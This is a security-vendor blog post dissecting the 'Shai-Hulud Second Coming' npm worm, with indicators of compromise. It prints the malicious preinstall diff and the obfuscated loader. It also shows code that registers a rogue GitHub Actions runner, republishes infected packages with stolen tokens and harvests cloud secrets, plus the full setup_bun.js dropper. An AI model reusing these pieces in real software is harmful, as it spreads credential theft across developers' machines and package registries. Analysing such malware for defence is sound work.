Shai-Hulud Second Coming: Software Supply Chain Attack Exposing Code and Harvesting Credentials
Table of Contents
TL;DR
The Shai-Hulud attackers are back with a new supply chain attack targeting the npm ecosystem. Multiple popular packages were infected with malicious payload via preinstall script. In this blog, we will do a deep dive technical analysis of the payload and the attack.
Infected packages:
Note: This is a non-exhaustive list of infected packages. More packages will be added to this list as we continue to analyze the attack. Our current focus is on the payload and technical analysis of the attack. Our assumption is that the same payload is used in all affected packages in this incident with minor variations and bug fixes.
The payload appears to share similar code and behavior with the previous Shai-Hulud supply chain attack targeting npm packages. The major difference, so far, appears to be the use of bun instead of node to execute the payload.
Following illustration gives a high level overview of the payload.

Based on analysis of the obfuscated payload, the malware seems to support the following platforms:
- Linux
- macOS
- Windows
Technical Analysis
The following is a technical analysis of an infected version of zapier-sdk package to identify the payload. We assume the same payload is used in all affected packages in this incident with minor variations and bug fixes.
We start by diffing version 0.15.4 and 0.15.5 of zapier-sdk package to identify the malicious changes introduced in 0.15.5 which is a known malicious package.
diff -Naur zapier/0.15.4/package/package.json zapier/0.15.5/package/package.json--- zapier/0.15.4/package/package.json 1985-10-26 13:45:00+++ zapier/0.15.5/package/package.json 2025-11-24 11:20:51@@ -1,6 +1,6 @@ { "name": "@zapier/zapier-sdk",- "version": "0.15.4",+ "version": "0.15.5", "description": "Complete Zapier SDK - combines all Zapier SDK packages", "main": "dist/index.cjs", "module": "dist/index.mjs",@@ -59,6 +59,7 @@ "rebuild": "pnpm clean && pnpm build", "dev": "tsc --watch", "typecheck": "tsc --project tsconfig.build.json --noEmit",- "test": "vitest"+ "test": "vitest",+ "preinstall": "node setup_bun.js" } }The diff indicates that a new preinstall script was introduced in 0.15.5 that executes setup_bun.js leveraging npm preinstall hook. The setup_bun.js has the following purpose:
- Checks if
bunis already on the system path - If not, downloads and installs
bun - Executes
bun_environment.jsusingbunexecutable found on the system or downloaded and installed by this script
Based on the analysis of setup_bun.js, it appears that the payload is in bun_environment.js and requires bun to be executed.
Analysis of bun_environment.js
bun_environment.jsis a 9.7MB file- SHA256 (bun_environment.js) =
62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0
Looking at bun_environment.js, it is evident that the payload is obfuscated. The first step was to beautify the code to make it a bit more readable, although still obfuscated.
Note: All command execution, analysis and code beautification was done inside a sandbox environment to prevent any malicious code from being executed.
docker run -it --rm -v $(pwd):/app node:lts bashcd /appnpm install -g js-beautifyjs-beautify bun_environment.js > bun_environment_beautified.jsmore bun_environment_beautified.jsvar a0_0x58e7a2 = a0_0x5155;(function(_0x488e1f, _0x239640) { var _0x1c90e8 = a0_0x5155, _0x2d2cb3 = _0x488e1f(); while (!![]) { try { var _0x156b43 = parseInt(_0x1c90e8(0x52cd)) / 0x1 * (-parseInt(_0x1c90e8(0x2dae)) / 0x2) + parseInt(_0x1c90e8(0x49ef)) / 0x3 * (parseInt(_0x1c90e8(0x373)) / 0x4) + parseInt(_0x1c90e8(0x2c8a)) / 0x5 * (-parseInt(_0x1c90e8(0x3b09)) / 0x6) + parseInt(_0x1c90e8(0x2336)) / 0x7 * (-parseInt(_0x1c90e8(0x34cf)) / 0x8) + parseInt(_0x1c90e8(0x18ad)) / 0x9 * (parseInt(_0x1c90e8(0x13ba)) / 0xa) + parseInt(_0x1c90e8(0xeef)) / 0xb + parseInt(_0x1c90e8(0x17a8)) / 0xc; if (_0x156b43 === _0x239640) break; else _0x2d2cb3['push'](_0x2d2cb3['shift']()); } catch (_0x1d8237) { _0x2d2cb3['push'](_0x2d2cb3['shift']()); } }}(a0_0x29d6, 0xc51e0));Manual analysis of the obfuscated payload reveals the following, indicating that the file uses obfuscator.io style obfuscation with following techniques:
| Technique | Description |
|---|---|
| String Array | 20,000+ strings stored in a0_0x29d6() function |
| String Decoder | a0_0x5155(index) subtracts 0x1bb (443) from index |
| Array Shuffling | IIFE rotates array until checksum = 0xc51e0 (807392) |
| Boolean Obfuscation | !![] → true, ![] → false, !0x0 → true, !0x1 → false |
| Hex Numbers | All numbers in hex format (0x52cd) |
| Variable Mangling | Names like _0x488e1f, _0x1c90e8 |
| Control Flow | Dead code with string comparisons ('ABC' !== 'XYZ') |
Additionally, the payload appears to be packaged with all its dependencies similar to the previous Shai-Hulud supply chain attack which makes analysis of the payload more challenging.
Payload Summary
Following behaviors are observed in the payload:
- AWS, GCP, and Azure credentials harvesting using TruffleHog
- AWS Secrets Manager credentials harvesting using AWS API and locally cached credentials
- Google Cloud credentials harvesting using Google Cloud API and locally cached credentials
- Self-replicating worm like behavior using
npmpackages that are accessible to the authenticated user - Credential exposure using GitHub repositories
- Deploys malicious GitHub Actions runner to the compromised machine
CI/CD Detection
The payload checks if the bun process is running in a CI/CD environment by checking the following environment variables:
BUILDKITEPROJECT_IDGITHUB_ACTIONSCODEBUILD_BUILD_NUMBERCIRCLE_SHA1GITLAB_CIJENKINS_HOME
if ('CI' in _0x26282e) { if ( [_0x17a1ce(0x5955), _0x17a1ce(0x3eda), _0x17a1ce(0x54b5), 'GITLAB_CI', 'GITHUB_ACTIONS', _0x17a1ce(0x4bd6)]['some']( (_0x1fc8b3) => _0x1fc8b3 in _0x26282e ) || _0x26282e[_0x17a1ce(0x5dde)] === 'codeship' ) return 0x1; return _0x3a4b4b;}if ('TEAMCITY_VERSION' in _0x26282e) return /^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/[_0x17a1ce(0x57e)](_0x26282e[_0x17a1ce(0x5537)]) ? 0x1 : 0x0;Exfiltrate CI/CD Credentials using Malicious GitHub Actions Runner
The payload creates a malicious GitHub Actions runner using compromised user’s with name SHA1HULUD. The compromised machine is used as the runner to execute a malicious workflow. The following code snippet shows the code used to create the malicious GitHub Actions runner:
Deploy a GitHub Actions runner on the compromised machine using the following code snippet. The payload supports Linux, macOS, and Windows platforms as the host for deploying the malicious GitHub Actions runner.
if (a0_0x5a88b3.platform() === 'linux') (await Bun.$`mkdir -p $HOME/.dev-env/`, await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz` .cwd(a0_0x5a88b3.homedir + '/.dev-env') .quiet(), await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + '/.dev-env'), await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"` .cwd(a0_0x5a88b3.homedir + '/.dev-env') .quiet(), await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + '/.dev-env'), Bun.spawn(['bash', '-c', 'cd $HOME/.dev-env && nohup ./run.sh &']).unref());It then creates a malicious workflow in the newly created GitHub repository using the following code snippet:
await this.octokit.request('PUT /repos/{owner}/{repo}/contents/{path}', { owner: _0x349291, repo: _0x2b1a39, path: '.github/workflows/discussion.yaml', message: 'Add Discusion', content: Buffer.from(rZ1).toString('base64'), branch: 'main',});The malicious workflow is a discussion.yaml file that contains the following code snippet:
name: Discussion Createon: discussion:jobs: process: env: RUNNER_TRACKING_ID: 0 runs-on: self-hosted steps: - uses: actions/checkout@v5 - name: Handle Discussion run: echo ${{ github.event.discussion.body }}The echo command is used to print the discussion body to the console. This is likely an incomplete feature and may allow remote code execution (RCE) primitive to the attacker on victim’s machine through the discussion body.
Self-replicating worm like behavior
Like its predecessors, the payload has self-replicating worm like behavior to infect npm packages that are accessible to the authenticated user. To achieve this, the payload does the following:
- Finds the infected user’s npm token from the
.npmrcfile - Calls
https://registry.npmjs.org/-/whoamito validate the token and retrieve the username - Searches for packages that are accessible to the authenticated user as a maintainer using the
/-/v1/search?text=maintainer:<username>API - If a package is found, the payload downloads and infects it to create a new infected version
The package infection process is as follows:
1. Download Target Package
- Fetches the package tarball from the registry using the authenticated user’s npm token
- Downloads the tarball to a temporary directory using
Bun.write()
2. Extract and Modify Package
- Extracts the tarball using
gzipdecompression - Reads the
package.jsonof the target package - Injects a malicious
preinstallscript:node setup_bun.js - Automatically increments the patch version (e.g.,
1.0.0to1.0.1) to create a new “legitimate-looking” release
3. Bundle Malicious Assets
- Calls
bundleAssets()to inject the complete malware payload (setup_bun.jsandbun_environment.js) - Repackages everything into a new tarball (
updated.tgz)
4. Publish Infected Package
- Uses
npm publishcommand with the compromised user’sNPM_CONFIG_TOKEN - Publishes the infected package as a new version to the npm registry
- Cleans up temporary files after successful publication
(await Bun['$']`npm publish ${_0x4fc35c}`[_0x545fd9(0x3f2d)]({ ...process[_0x545fd9(0x3f2d)], NPM_CONFIG_TOKEN: this[_0x545fd9(0x194f)],}), await Uy1(_0x14f0bf));This automated infection pipeline enables the malware to spread exponentially across the npm ecosystem, as each infected package becomes a vector for further compromise. The use of bun runtime provides faster execution and potentially better evasion of Node.js based security tools.
Credential Harvesting using TruffleHog
The payload uses TruffleHog to harvest credentials from the local filesystem. Following code snippet shows the code used to harvest credentials using TruffleHog:
Detect or download TruffleHog binary from GitHub releases using URL https://api.github.com/repos/trufflesecurity/trufflehog/releases/latest.
let _0x8d5d38 = await this.fetchLatestRelease(), _0xadd65e = this.pickAsset(_0x8d5d38.assets);if (!_0xadd65e) throw Error('No suitable trufflehog binary found for this platform');let _0x23fc54 = a0_0x2cdffb(this.config.cacheDir, _0xadd65e.name);(await this.downloadFile(_0xadd65e.browser_download_url, _0x23fc54), (this.binaryPath = await this.extractAndInstall(_0x23fc54)));Scan filesystem:
async .scanFilesystem(_0x318465, _0x2ad348 = []) { await this.initialize(); let _0x423574 = ["filesystem", _0x318465, "--json", ..._0x2ad348]; return this.executeWithTimeout(_0x423574);}Similarly, the payload uses following scanning techniques using TruffleHog:
- Scan
gitrepositories - Filter by verified results (using TruffleHog’s verification feature)
- Filter findings by TruffleHog
detector - Filter findings by file path
These filters are likely to allow the payload to harvest meaningful credentials from the local filesystem.
Credential Exfiltration using GitHub
The payload creates GitHub repositories using compromised user’s credentials with 18 characters long random name. More than 25000 repositories were exposed by this attack at the time of writing this blog. The repositories are created with the description Sha1-Hulud: The Second Coming. text. See GitHub repository search to find currently exposed repositories.
Note: GitHub periodically takes down compromised repositories to prevent further exposure.
The payload uploads the following files to the newly created GitHub repository:
cloud.json, contains AWS, GCP, and Azure credentialscontents.json, contains host details and other credentials such as GitHub token, npm token, etc.environment.json, contains environment variables of the running processtruffleSecrets.json, contains JSON output of TruffleHog scan
Each of these files are double base64 encoded and uploaded to the newly created GitHub repository. Example of cloud.json file:
cat cloud.json| base64 -d | base64 -dExample output with credentials redacted:
{ "aws": { "secrets": [] }, "gcp": { "secrets": [] }, "azure": { "secrets": [] } }cat contents.json| base64 -d | base64 -d{ "system": { "platform": "linux", "architecture": "x64", "platformDetailed": "linux", "architectureDetailed": "x64", "hostname": "<REDACTED>", "os_user": { "homedir": "/home/runner", "username": "runner", "shell": "/bin/bash", "uid": 1001, "gid": 1001 } }, "modules": { "github": { "authenticated": true, "token": "<REDACTED>", "username": { "login": "<REDACTED>", "name": "<REDACTED>", "email": null, "publicRepos": <REDACTED>, "followers": <REDACTED>, "following": <REDACTED>, "createdAt": "<REDACTED>" } } }}The homedir and username above indicates the payload is executed by a GitHub Actions runner, which in turn indicates that compromised version of packages were introduced in the GitHub Actions runner environment.
Appendix
Indicators of Compromise (IOC)
- SHA256 (zapier/0.15.5/package/setup_bun.js) =
a3894003ad1d293ba96d77881ccd2071446dc3f65f434669b49b3da92421901a - SHA256 (zapier/0.15.5/package/bun_environment.js) =
62ee164b9b306250c1172583f138c9614139264f889fa99614903c12755468d0 Sha1-Hulud: The Second Coming.text in GitHub repository description created by the payload
setup_bun.js
#!/usr/bin/env nodeconst { spawn, execSync } = require('child_process');const path = require('path');const fs = require('fs');const os = require('os');
function isBunOnPath() { try { const command = process.platform === 'win32' ? 'where bun' : 'which bun'; execSync(command, { stdio: 'ignore' }); return true; } catch { return false; }}
function reloadPath() { // Reload PATH environment variable if (process.platform === 'win32') { try { // On Windows, get updated PATH from registry const result = execSync( "powershell -c \"[Environment]::GetEnvironmentVariable('PATH', 'User') + ';' + [Environment]::GetEnvironmentVariable('PATH', 'Machine')\"", { encoding: 'utf8', } ); process.env.PATH = result.trim(); } catch {} } else { try { // On Unix systems, source common shell profile files const homeDir = os.homedir(); const profileFiles = [ path.join(homeDir, '.bashrc'), path.join(homeDir, '.bash_profile'), path.join(homeDir, '.profile'), path.join(homeDir, '.zshrc'), ];
// Try to source profile files to get updated PATH for (const profileFile of profileFiles) { if (fs.existsSync(profileFile)) { try { const result = execSync(`bash -c "source ${profileFile} && echo $PATH"`, { encoding: 'utf8', stdio: ['pipe', 'pipe', 'ignore'], }); if (result && result.trim()) { process.env.PATH = result.trim(); break; } } catch { // Continue to next profile file } } }
// Also check if ~/.bun/bin exists and add it to PATH if not already there const bunBinDir = path.join(homeDir, '.bun', 'bin'); if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) { process.env.PATH = `${bunBinDir}:${process.env.PATH}`; } } catch {} }}
async function downloadAndSetupBun() { try { let command; if (process.platform === 'win32') { // Windows: Use PowerShell script command = 'powershell -c "irm bun.sh/install.ps1|iex"'; } else { // Linux/macOS: Use curl + bash script command = 'curl -fsSL https://bun.sh/install | bash'; }
execSync(command, { stdio: 'ignore', env: { ...process.env }, });
// Reload PATH to pick up newly installed bun reloadPath();
// Find bun executable after installation const bunPath = findBunExecutable(); if (!bunPath) { throw new Error('Bun installation completed but executable not found'); }
return bunPath; } catch { process.exit(0); }}
function findBunExecutable() { // Common locations where bun might be installed const possiblePaths = [];
if (process.platform === 'win32') { // Windows locations const userProfile = process.env.USERPROFILE || ''; possiblePaths.push( path.join(userProfile, '.bun', 'bin', 'bun.exe'), path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe') ); } else { // Unix locations const homeDir = os.homedir(); possiblePaths.push(path.join(homeDir, '.bun', 'bin', 'bun'), '/usr/local/bin/bun', '/opt/bun/bin/bun'); }
// Check if bun is now available on PATH if (isBunOnPath()) { return 'bun'; }
// Check common installation paths for (const bunPath of possiblePaths) { if (fs.existsSync(bunPath)) { return bunPath; } }
return null;}
function runExecutable(execPath, args = [], opts = {}) { const child = spawn(execPath, args, { stdio: 'ignore', cwd: opts.cwd || process.cwd(), env: Object.assign({}, process.env, opts.env || {}), });
child.on('error', (err) => { process.exit(0); });
child.on('exit', (code, signal) => { if (signal) { process.exit(0); } else { process.exit(code === null ? 1 : code); } });}
// Main executionasync function main() { let bunExecutable;
if (isBunOnPath()) { // Use bun from PATH bunExecutable = 'bun'; } else { // Check if we have a locally downloaded bun const localBunDir = path.join(__dirname, 'bun-dist'); const possiblePaths = [ path.join(localBunDir, 'bun', 'bun'), path.join(localBunDir, 'bun', 'bun.exe'), path.join(localBunDir, 'bun.exe'), path.join(localBunDir, 'bun'), ];
const existingBun = possiblePaths.find((p) => fs.existsSync(p));
if (existingBun) { bunExecutable = existingBun; } else { // Download and setup bun bunExecutable = await downloadAndSetupBun(); } }
const environmentScript = path.join(__dirname, 'bun_environment.js'); if (fs.existsSync(environmentScript)) { runExecutable(bunExecutable, [environmentScript]); } else { process.exit(0); }}
main().catch((error) => { process.exit(0);});- npm
- oss
- malware
- supply-chain
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

Curious Case of Embedded Executable in a Newly Introduced Transitive Dependency
A routine dependency upgrade introduced a suspicious transitive dependency with an embedded executable. While manual analysis confirmed it wasn't malicious, this incident highlights the implicit...

Contributing to SafeDep Open Source Projects during Hacktoberfest 2025
Learn how to contribute to SafeDep open source projects during Hacktoberfest 2025 and help secure the open source software supply chain.

Malicious npm Packages Impersonating Hyatt Internal Dependencies
Three malicious npm packages disguised as Hyatt internal dependencies were discovered using install hooks to execute malicious payloads. All packages share identical attack patterns and...

Ship Code. Not Malware. SafeDep Launches GitHub App for Malicious Package Protection
SafeDep launches a GitHub App for zero-configuration protection against malicious open source packages. Instantly scan pull requests and keep your code repositories safe from supply chain attacks.

Ship Code
Not Malware
Install the SafeDep GitHub App to keep malicious packages out of your repos.
